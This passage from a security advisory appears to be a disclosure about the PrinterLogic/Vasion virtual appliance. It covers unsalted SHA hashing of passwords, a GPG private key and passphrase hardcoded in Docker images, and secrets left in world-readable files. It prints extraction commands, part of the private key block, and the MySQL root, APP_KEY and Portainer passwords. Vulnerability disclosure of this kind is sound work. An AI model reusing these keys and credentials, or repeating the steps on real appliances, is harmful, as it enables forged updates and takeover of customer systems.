 <span style="color: #666666">88</span>         (<span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">==</span> <span style="color: #19177C">$sha512Password</span> <span style="color: #666666">||</span> <span style="color: #408080; font-style: italic">// [3] use of SHA-512</span>
 <span style="color: #666666">89</span>         <span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">==</span> <span style="color: #19177C">$sha1Password</span>)) { <span style="color: #408080; font-style: italic">//   [4] fall-back to SHA-1</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">98</span>             <span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #19177C">$root_password</span>); <span style="color: #408080; font-style: italic">// [5] use of SHA-521</span>
</pre></div>

<p>Content of <code>/var/www/app/legacy/Login.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">426</span>         <span style="color: #19177C">$tempPass</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #19177C">$pw</span>); [<span style="color: #666666">1</span>] <span style="color: #008000; font-weight: bold">use</span> of SHA<span style="color: #666666">-512</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">440</span>             <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 441              * When we switched to sha512, we need to provided temporary checking for accounts</span>
<span style="color: #BA2121; font-style: italic"> 442              * that haven&#39;t been switched yet.  Eventually, this code should be removed and any</span>
<span style="color: #BA2121; font-style: italic"> 443              * remaining users who still have an sha1 hash will have to reset their password.  At that point,</span>
<span style="color: #BA2121; font-style: italic"> 444              * however, most users should have already been converted.</span>
<span style="color: #BA2121; font-style: italic"> 445              */</span>
 <span style="color: #666666">446</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #19177C">$sr</span>) {
 <span style="color: #666666">447</span>                 <span style="color: #19177C">$sha1_pass</span> <span style="color: #666666">=</span> <span style="color: #008000">sha1</span>(<span style="color: #19177C">$pw</span>);                                          <span style="color: #408080; font-style: italic">// [2] use of SHA-1</span>
 <span style="color: #666666">448</span>                 <span style="color: #19177C">$sr</span> <span style="color: #666666">=</span> <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">find_by_login</span>(<span style="color: #19177C">$username</span>, <span style="color: #19177C">$sha1_pass</span>, <span style="color: #19177C">$user_vo</span>); <span style="color: #408080; font-style: italic">// [3] use of SHA-1</span>
 <span style="color: #666666">449</span>                 <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$sr</span>) {
 <span style="color: #666666">450</span>                     <span style="color: #408080; font-style: italic">/*    Convert their password to sha512    */</span>
 <span style="color: #666666">451</span>                     <span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">=</span> <span style="color: #19177C">$tempPass</span>;                       <span style="color: #408080; font-style: italic">// [3] migration to SHA-521</span>
 <span style="color: #666666">452</span>                     <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">allow_write</span>();
 <span style="color: #666666">453</span>                     <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">save</span>(<span style="color: #19177C">$user_vo</span>);
 <span style="color: #666666">454</span>                 }<span style="color: #408080; font-style: italic">//end if</span>
 <span style="color: #666666">455</span>             }<span style="color: #408080; font-style: italic">//end if</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">1147</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">find_by_login</span>(<span style="color: #19177C">$username</span>, <span style="color: #19177C">$tempPass</span>, <span style="color: #19177C">$user_vo</span>)) {
<span style="color: #666666">1148</span>             <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">1149              * When we switched to sha512, we need to provided temporary checking for accounts</span>
<span style="color: #BA2121; font-style: italic">1150              * that haven&#39;t been switched yet.  Eventually, this code should be removed and any</span>
<span style="color: #BA2121; font-style: italic">1151              * remaining users who still have an sha1 hash will have to reset their password.  At that point,</span>
<span style="color: #BA2121; font-style: italic">1152              * however, most users should have already been converted.</span>
<span style="color: #BA2121; font-style: italic">1153              */</span>
<span style="color: #666666">1154</span>             <span style="color: #19177C">$sha1_pass</span> <span style="color: #666666">=</span> <span style="color: #008000">sha1</span>(<span style="color: #19177C">$pw</span>);
<span style="color: #666666">1155</span>             <span style="color: #19177C">$sr</span> <span style="color: #666666">=</span> <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">find_by_login</span>(<span style="color: #19177C">$username</span>, <span style="color: #19177C">$sha1_pass</span>, <span style="color: #19177C">$user_vo</span>);     <span style="color: #408080; font-style: italic">// [4] use of SHA-1</span>
<span style="color: #666666">1156</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$sr</span>) {
<span style="color: #666666">1157</span>                 <span style="color: #408080; font-style: italic">/*    Convert their password to sha512    */</span>
<span style="color: #666666">1158</span>                 <span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">=</span> <span style="color: #19177C">$tempPass</span>;                           <span style="color: #408080; font-style: italic">// [5] migration to SHA-512</span>
<span style="color: #666666">1159</span>                 <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">allow_write</span>();
<span style="color: #666666">1160</span>                 <span style="color: #19177C">$user_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">save</span>(<span style="color: #19177C">$user_vo</span>);
<span style="color: #666666">1161</span>             } <span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #666666">1162</span>                 <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">last_error</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;The username or password is incorrect.&quot;</span>;
<span style="color: #666666">1163</span>                 <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000; font-weight: bold">null</span>;
<span style="color: #666666">1164</span>             }
</pre></div>

<p>Content of <code>/var/www/app/tests/Unit/Api/IdP/IdpControllerTest.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">443</span>         <span style="color: #19177C">$hashString</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;PrinterLogicIdpAuthentication</span><span style="color: #BB6688; font-weight: bold">{</span><span style="color: #19177C">$mockDateTimeString</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>;
<span style="color: #666666">444</span>         <span style="color: #19177C">$hash</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #19177C">$hashString</span>);                                      <span style="color: #408080; font-style: italic">// [1] use of SHA-512</span>
<span style="color: #666666">445</span> 
<span style="color: #666666">446</span>         <span style="color: #408080; font-style: italic">//Act</span>
<span style="color: #666666">447</span>         <span style="color: #19177C">$apiResponse</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(
<span style="color: #666666">448</span>             <span style="color: #BA2121">&#39;GET&#39;</span>,
<span style="color: #666666">449</span>             <span style="color: #BA2121">&quot;/api/idp&quot;</span>,
<span style="color: #666666">450</span>             [],
<span style="color: #666666">451</span>             [
<span style="color: #666666">452</span>                 <span style="color: #BA2121">&#39;x-printerlogic-hash&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$hash</span>,
<span style="color: #666666">453</span>                 <span style="color: #BA2121">&#39;x-printerlogic-datetime&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$mockDateTimeString</span>
<span style="color: #666666">454</span>             ]
<span style="color: #666666">455</span>         );
</pre></div>

<p>Interestingly, a custom implementation of PBKDF2-HMAC-SHA512 can be found inside <code>/var/www/app/legacy/Security/Crypt.php</code>, but the code is not used to store passwords. This implementation seems to have been copied from <a href="https://www.php.net/manual/en/function.hash-pbkdf2.php#118301">https://www.php.net/manual/en/function.hash-pbkdf2.php#118301</a> and doesn't seem to be compatible with the original PBKDF2-HMAC-SHA512 implementation. The execution flow is shown below:</p>
<p>Content of <code>/var/www/app/legacy/Security/Crypt.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">269</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">getKeys</span>(<span style="color: #19177C">$salt</span>, <span style="color: #19177C">$key</span>)
<span style="color: #666666">270</span>     {
<span style="color: #666666">271</span>         <span style="color: #19177C">$ivSize</span> <span style="color: #666666">=</span> <span style="color: #008000">openssl_cipher_iv_length</span>(<span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">cipher</span>);
<span style="color: #666666">272</span>         <span style="color: #19177C">$keySize</span> <span style="color: #666666">=</span> <span style="color: #666666">256</span>;
<span style="color: #666666">273</span>         <span style="color: #19177C">$length</span> <span style="color: #666666">=</span> <span style="color: #666666">2</span> <span style="color: #666666">*</span> <span style="color: #19177C">$keySize</span> <span style="color: #666666">+</span> <span style="color: #19177C">$ivSize</span>;
<span style="color: #666666">274</span> 
<span style="color: #666666">275</span>         <span style="color: #19177C">$key</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">pbkdf2</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">rounds</span>, <span style="color: #19177C">$length</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">367</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">pbkdf2</span>(<span style="color: #19177C">$algo</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$rounds</span>, <span style="color: #19177C">$length</span>)
<span style="color: #666666">368</span>     {
<span style="color: #666666">369</span>         <span style="color: #008000; font-weight: bold">return</span> self<span style="color: #666666">::</span><span style="color: #7D9029">cachedPbkdf2</span>(<span style="color: #19177C">$algo</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$rounds</span>, <span style="color: #19177C">$length</span>);
<span style="color: #666666">370</span>     }
[<span style="color: #666666">...</span>]
<span style="color: #666666">340</span>      <span style="color: #666666">*/</span>
<span style="color: #666666">341</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">cachedPbkdf2</span>(<span style="color: #19177C">$algo</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$rounds</span>, <span style="color: #19177C">$length</span>)
<span style="color: #666666">342</span>     {
<span style="color: #666666">343</span>         <span style="color: #19177C">$bucket</span> <span style="color: #666666">=</span> <span style="color: #19177C">$algo</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;.&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$rounds</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;.&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$length</span>;
<span style="color: #666666">344</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">isset</span>(self<span style="color: #666666">::</span><span style="color: #19177C">$pbkdf2Cache</span>[<span style="color: #19177C">$bucket</span>][<span style="color: #19177C">$key</span>][<span style="color: #19177C">$salt</span>])) {
<span style="color: #666666">345</span>             <span style="color: #19177C">$hash</span> <span style="color: #666666">=</span> self<span style="color: #666666">::</span><span style="color: #7D9029">PrinterLogicHashPbkdf2</span>(<span style="color: #19177C">$algo</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$rounds</span>, <span style="color: #19177C">$length</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">288</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">289      * Identical to built in function hash_pbkdf2 ... except it isn&#39;t.  This produces different results.</span>
<span style="color: #BA2121; font-style: italic">290      * Despite being much slower, its what is already in the wild, changing it now would be difficult.</span>
<span style="color: #BA2121; font-style: italic">291      *</span>
<span style="color: #BA2121; font-style: italic">292      * @param $algorithm</span>
<span style="color: #BA2121; font-style: italic">293      * @param $key</span>
<span style="color: #BA2121; font-style: italic">294      * @param $salt</span>
<span style="color: #BA2121; font-style: italic">295      * @param $rounds</span>
<span style="color: #BA2121; font-style: italic">296      * @param $length</span>
<span style="color: #BA2121; font-style: italic">297      * @return bool|string</span>
<span style="color: #BA2121; font-style: italic">298      */</span>
<span style="color: #666666">299</span>     <span style="color: #008000; font-weight: bold">private</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">PrinterLogicHashPbkdf2</span>(<span style="color: #19177C">$algorithm</span>, <span style="color: #19177C">$key</span>, <span style="color: #19177C">$salt</span>, <span style="color: #19177C">$rounds</span>, <span style="color: #19177C">$length</span>)
<span style="color: #666666">300</span>     {
<span style="color: #666666">301</span>         <span style="color: #19177C">$size</span> <span style="color: #666666">=</span> <span style="color: #008000">strlen</span>(<span style="color: #008000">hash</span>(<span style="color: #19177C">$algorithm</span>, <span style="color: #BA2121">&#39;&#39;</span>, <span style="color: #008000; font-weight: bold">true</span>));
<span style="color: #666666">302</span>         <span style="color: #19177C">$len</span> <span style="color: #666666">=</span> <span style="color: #008000">ceil</span>(<span style="color: #19177C">$length</span> <span style="color: #666666">/</span> <span style="color: #19177C">$size</span>);
<span style="color: #666666">303</span>         <span style="color: #19177C">$result</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">304</span>         <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #19177C">$i</span> <span style="color: #666666">=</span> <span style="color: #666666">1</span>; <span style="color: #19177C">$i</span> <span style="color: #666666">&lt;=</span> <span style="color: #19177C">$len</span>; <span style="color: #19177C">$i</span><span style="color: #666666">++</span>) {
<span style="color: #666666">305</span>             <span style="color: #19177C">$tmp</span> <span style="color: #666666">=</span> <span style="color: #008000">hash_hmac</span>(<span style="color: #19177C">$algorithm</span>, <span style="color: #19177C">$salt</span> <span style="color: #666666">.</span> <span style="color: #008000">pack</span>(<span style="color: #BA2121">&#39;N&#39;</span>, <span style="color: #19177C">$i</span>), <span style="color: #19177C">$key</span>, <span style="color: #008000; font-weight: bold">true</span>);
<span style="color: #666666">306</span>             <span style="color: #19177C">$res</span> <span style="color: #666666">=</span> <span style="color: #19177C">$tmp</span>;
<span style="color: #666666">307</span>             <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #19177C">$j</span> <span style="color: #666666">=</span> <span style="color: #666666">1</span>; <span style="color: #19177C">$j</span> <span style="color: #666666">&lt;</span> <span style="color: #19177C">$rounds</span>; <span style="color: #19177C">$j</span><span style="color: #666666">++</span>) {
<span style="color: #666666">308</span>                 <span style="color: #19177C">$tmp</span> <span style="color: #666666">=</span> <span style="color: #008000">hash_hmac</span>(<span style="color: #19177C">$algorithm</span>, <span style="color: #19177C">$tmp</span>, <span style="color: #19177C">$key</span>, <span style="color: #008000; font-weight: bold">true</span>);
<span style="color: #666666">309</span>                 <span style="color: #19177C">$res</span> <span style="color: #666666">^=</span> <span style="color: #19177C">$tmp</span>;
<span style="color: #666666">310</span>             }
<span style="color: #666666">311</span>             <span style="color: #19177C">$result</span> <span style="color: #666666">.=</span> <span style="color: #19177C">$res</span>;
<span style="color: #666666">312</span>         }
<span style="color: #666666">313</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">substr</span>(<span style="color: #19177C">$result</span>, <span style="color: #666666">0</span>, <span style="color: #19177C">$length</span>);
<span style="color: #666666">314</span>     }
</pre></div>

<p>This code is very similar to the example shown on PHP.net: </p>
<p><img alt="" src="images/2025-vasion-report-1-php-net.png" />
<a href="https://www.php.net/manual/en/function.hash-pbkdf2.php#118301">https://www.php.net/manual/en/function.hash-pbkdf2.php#118301</a></p>
<p>SHA-1 and SHA-512 are used to compute a cryptographic summary (checking the integrity of a file or making an electronic signature). They are not suitable for storing passwords because they are fast to calculate.</p>
<p>Storing passwords in SHA-512 does not follow best security practices. There is no salt and the hashes are easily bruteforcable or found using rainbow tables.</p>
<p>Fall-back to SHA-1 absolutely does not follow best security practices. There is no salt and the hashes are easily bruteforcable or found using rainbow tables.</p>
<p><a id="va-private-gpg-key"></a></p>
<h2>Details - GPG Private key stored in the solution</h2>
<p>It was observed the firmware update images were encrypted but not signed.</p>
<p>The Docker images contain the public and private keys for <code>no-reply+virtual-appliance@printerlogic.com</code>.</p>
<p>Extraction of the GPG private key:</p>
<pre><code>root@printerlogic:~# cp -r /var/lib/docker/overlay2/./995aff33d0f19af66d462b38164604709d2164b47b057411a1fcac3ef0118197/diff/home/ubuntu/.gnupg/ ~/
root@printerlogic:~# grep GPG /var/lib/docker/image/overlay2/imagedb/content/sha256/*
[...]
APPLIANCE_GPG_PASSPHRASE=50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4
[...]
root@printerlogic:~# gpg --list-keys --with-keygrip
/root/.gnupg/pubring.kbx
------------------------
pub   rsa4096 2020-01-23 [SC]
      CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
      Keygrip = 5FA855131102B4D03D9D21F1D081CB1DBA100953
uid           [ultimate] PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;
sub   rsa4096 2020-01-23 [E]
      Keygrip = 45066ADCF538743121004158DD3BA4C62EA82177
sub   rsa4096 2020-01-23 [S]
      Keygrip = DD8FA6CE5BAA3DF02E406A0ECF9F798F43E146F9

root@printerlogic:~# gpg --list-secret-keys
/root/.gnupg/pubring.kbx
------------------------
sec#  rsa4096 2020-01-23 [SC] 
      CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid           [ultimate] PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;
ssb   rsa4096 2020-01-23 [E]
ssb#  rsa4096 2020-01-23 [S]

root@printerlogic:~# gpg --export-secret-keys -a &gt; out.key
[50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
root@printerlogic:~# less out.key 
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQIVBF4qHKgBEAC3T56eTrfTkPZrLwKUla4FSbdd2QTQU5XsXT6gCc6TpadMF1XY
2GfZaUcQ5G0DOWRQpy9rxBh+ZiffqbDFKyHLmSG4RrYpeR0jttUdVEdQ99II0kfB
41bo59iJkYM6EGAm2htBrstUnOwyFMn1DH8PBs/Pp+N8kaOCa+BgjKyxvQvXHXSz
b9dt6TLPRnloO4hJXJI1htHMFdBTpzJKY8gKnug/XO7Vkq5j3mCcGM/5K4fzKYoE
fFmQO9sjnzG6hnon+9tUsexmnCosk5a+HzpGthrx3/MIFHMe02ZL7VGuxOUyL618
wEa4CbnxMwsW14FzOjPubaMsgsQhuH3X2yiVgJw2i0c1IUmFiEdeTZ29tDlhsUmM
pNqGgvp41t41PD6EoA4KhdyGh0GTtzz97QoY1HTpbTF3vPChRgWFMDnw+1jXd3Q7
m6Zgkn2iVFVb+bUT5VZAnT7okJHP8ZKtqm97YxliUft1JQvISaVaoL0VOyB6P83T
1CeVTtMLsZRgooKIyOTyxPzRZxqmYhGMOam7KY/syKZRw5zIcBGGpuZ6xQRSKYRG
hZhDFZFmvO7EkQoPJaYsX6IY3oOwZ1GTq1mWQ062FzmPA4gWffOUGGdbrZuJSPg5
1OsFVcXeg8KGqJOAQBVG4gQ7mbjv2F5Srll6S9k7X8i0XXFoBMLZ9bt9pwARAQAB
/wBlAEdOVQG0UVByaW50ZXJMb2dpYyBWaXJ0dWFsIEFwcGxpYW5jZSBUZWFtIDxu
by1yZXBseSt2aXJ0dWFsLWFwcGxpYW5jZUBwcmludGVybG9naWMuY29tPokCTgQT
AQgAOAIbAwIeAQIXgBYhBMraCwbYraWnLFL1+wm9njZ9oQmYBQJeKh7OBQsJCAcD
[...]
</code></pre>
<p>The passphrase for the private key is also hardcoded and can be found in files present in the directory <code>/var/lib/docker/image/overlay2/imagedb/content/sha256</code>.</p>
<p>After the extraction of the key is done, the private key is under attacker's control. This key has been installed in another Linux machine under attacker's control and can generate legit malicious update images:</p>
<pre><code>kali% gpg --list-secret-keys
/home/user/.gnupg/pubring.kbx
-----------------------------
sec#  rsa4096 2020-01-23 [SC]
      CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid           [ unknown] PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;
ssb   rsa4096 2020-01-23 [E]
ssb#  rsa4096 2020-01-23 [S]
kali%
</code></pre>
<p>An attacker with admin privileges on the solution can upload custom encrypted updates.</p>
<p>Decrypting the firmware image using the private key, encrypting using the public key and decrypting this file using the private key:</p>
<pre><code>kali% gpg 20.0.1305.gpg
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;"
^C
gpg: signal Interrupt caught ... exiting

kali% echo test | gpg --encrypt -a -r no-reply+virtual-appliance@printerlogic.com -o test.gpg
gpg: FCF4134A2496B21A: There is no assurance this key belongs to the named user

sub  rsa4096/FCF4134A2496B21A 2020-01-23 PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;
 Primary key fingerprint: CADA 0B06 D8AD A5A7 2C52  F5FB 09BD 9E36 7DA1 0998
      Subkey fingerprint: 15CD B10F F97C 6F80 6B9D  979C FCF4 134A 2496 B21A

It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.

Use this key anyway? (y/N) y
kali% gpg test.gpg 
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;"
kali% cat test
test
kali%
</code></pre>
<p>Furthermore, it was observed this private key was also used by the support:</p>
<p>Content of <code>/var/www/cicd-linux-ops/bin/va-rotate-secrets.sh</code>:</p>
<pre>
#!/bin/bash -l

# Setup logging
LOG_TAG="va/rotate-secrets"
LOG_CAPTURE_ERRORS=true
. ${CICD_DIR}/includes/func_logging.sh

# Portainer rotation
# The portainer password is stored in plaintext in the location noted below.  To rotate this password, we simply need to
# set a new password in this file, then save the gpg-encrypted version in our storage location.  <font color=red>We store an encrypted form 
# there to allow our advanced customer support to have access, only as a last resort.  Customers should NEVER be allowed
# to have access to portainer, even on a temporary basis.  Only a member of an advanced support team should be able to
# enable portainer (enabled via environment variable), decrypt the password found in persistent storage, then access portainer</font>
log "Rotating Portainer password"
PORTAINER_PASSWORD_FILE=${PRINTERCLOUD_CONFIG_DIR}/portainer-admin-password.txt

# Generate a new portainer password and write it to the plaintext location
PLAINTEXT_PASSWORD=$(cat /proc/sys/kernel/random/uuid)
echo "${PLAINTEXT_PASSWORD}" >${PORTAINER_PASSWORD_FILE}

# Store the encrypted version
SECRETS_DIR=${APPLIANCE_STORAGE_TARGET}/.secrets
PORTAINER_PASSWORD_FILE_ENCRYPTED=${SECRETS_DIR}/portainer-admin.gpg

# Make sure file and dir exist first
mkdir -p ${SECRETS_DIR}
touch ${PORTAINER_PASSWORD_FILE_ENCRYPTED}
set-secret.sh -f ${PORTAINER_PASSWORD_FILE_ENCRYPTED} --encrypt PORTAINER_PASSWORD=${PLAINTEXT_PASSWORD}
log "Finished rotating Portainer password"

# Force a logout/shutdown if the UI is running
if [[ "${REPLICAS_PORTAINER_UI}" -ge 1 ]]; then 
  log "Forcing Portainer shutdown"
  set-secret.sh "REPLICAS_PORTAINER_UI=0"
fi
</pre>

<p>GPG is used to encrypt the portainer password and the resulting file is located in <code>/var/www/efs_storage/.secrets/portainer-admin.gpg</code>. It can be decrypted using the private key as shown below.</p>
<p>To confirm the key is indeed common to all installed solutions, another test solution has been installed and I was able to decrypt the GPG files located in <code>/var/www/efs_storage/.secrets</code> - this confirms the private key can be used in all installed solutions:</p>
<pre>
kali% scp -r root@10.105.0.242:/var/www/efs_storage/.secrets . 
app-keys.gpg                                          100%  704     1.0MB/s   00:00    
portainer-admin.gpg                                   100%  660     1.0MB/s   00:00    
kali% cd .secrets
kali% gpg app-keys.gpg 
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
kali% cat app-keys
<font color=red>APP_KEY="WtlAAtpHpgRnFwdseoejTYNHaEobvKZ1"
MYSQL_ROOT_PASSWORD="fbaf64cf-43fd-4572-a123-dccc97ae7f88"</font>
kali% gpg portainer-admin.gpg 
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
kali% cat portainer-admin     
<font color=red>PORTAINER_PASSWORD="644e3db6-6058-4771-955f-cfb7fa693c7d"</font>
kali%
</pre>

<p>But the portainer password is also freely available by reading the world-readable file <code>/etc/printercloud/portainer-admin-password.txt</code>:</p>
<pre>
root@printerlogic:/var/www/efs_storage/.secrets# ls -la /etc/printercloud/portainer-admin-password.txt
<font color=red>-rw-r--r--</font> 1 ubuntu docker 37 Feb  9 08:48 /etc/printercloud/portainer-admin-password.txt
root@printerlogic:/var/www/efs_storage/.secrets# cat /etc/printercloud/portainer-admin-password.txt
<font color=red>4784ceb0-1960-4ba7-997b-022907cdf14b</font>
root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"

root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
<font color=red>PORTAINER_PASSWORD="4784ceb0-1960-4ba7-997b-022907cdf14b"</font>
root@printerlogic:/var/www/efs_storage/.secrets#
</pre>

<p>It is also possible to install a malicious firmware update. The firmware file will be stored inside <code>/var/www/efs_storage/.updates</code> and will be installed:</p>
<pre><code>root@printerlogic:/var/www/efs_storage/.updates# ls -latr
total 4810592
-rwxrwxr-x+  1 root     docker 4898676615 Jan 27 10:04 20.0.1305.gpg
drwxrwsr-x+  2 ubuntu   docker       4096 Jan 27 10:18 .patches
drwxrwsr-x+ 19 www-data docker       4096 Feb  2 08:15 ..
-rwxrwxr-x+  1 root     docker      77476 Feb 11 05:13 untitled.gpg
-rwxrwxr-x+  1 root     docker   27262976 Feb 11 05:56 malicious.update.gpg
-rwxrwxr-x+  1 root     docker        128 Feb 11 06:00 malicious.update2.gpg
drwxrwsr-x+  3 root     docker       4096 Feb 11 06:00 .
root@printerlogic:/var/www/efs_storage/.updates#
</code></pre>
<p>An attacker with admin privileges on the solution can upload custom signed updates to compromise the application.</p>
<p>An attacker can decrypt any GPG-encrypted file located in <code>/var/www/efs_storage/.secrets</code> and retrieve the mysql root password, the <code>APP_KEY</code> password and the portainer password.</p>
<p><a id="va-readable-passwords"></a></p>
<h2>Details - Passwords readable and stored in clear-text</h2>
<p>The solution stores passwords in clear-text in some world-readable files:</p>
<ul>
<li>/etc/printercloud/network.env</li>
<li>/etc/printercloud/appliance.env</li>
<li>/etc/printercloud/portainer-admin-password.txt</li>
<li>/etc/printercloud/previous-db-password.txt</li>
<li>/etc/printercloud/secrets.configuring.bak</li>
<li>/var/www/efs_storage/secrets.env</li>
<li>/var/www/efs_storage/.secrets/app-keys.gpg</li>
<li>/var/www/efs_storage/.secrets/portainer-admin.gpg</li>
<li>/var/www/efs_storage/logs/<em>/{pi,services}.log</em></li>
<li>/var/lib/docker/swarm/worker/tasks.db</li>
<li>...</li>
</ul>
<p>The above provided list is not exhaustive.</p>
<p><code>/etc/printercloud/network.env</code> with insecure permissions:</p>
<pre>
root@printerlogic:~# ls -la /etc/printercloud/network.env
<font color=red>-rw-rw-r--</font> 1 ubuntu docker 29 Feb  8 01:51 /etc/printercloud/network.env
root@printerlogic:~# cat /etc/printercloud/network.env
<font color=red>NETWORK_USR_PWD="kZEXhhyjIY"</font>
root@printerlogic:~#
</pre>

<p><code>/etc/printercloud/appliance.env</code> with insecure permissions:</p>
<pre>
root@printerlogic:~# ls -la /etc/printercloud/appliance.env
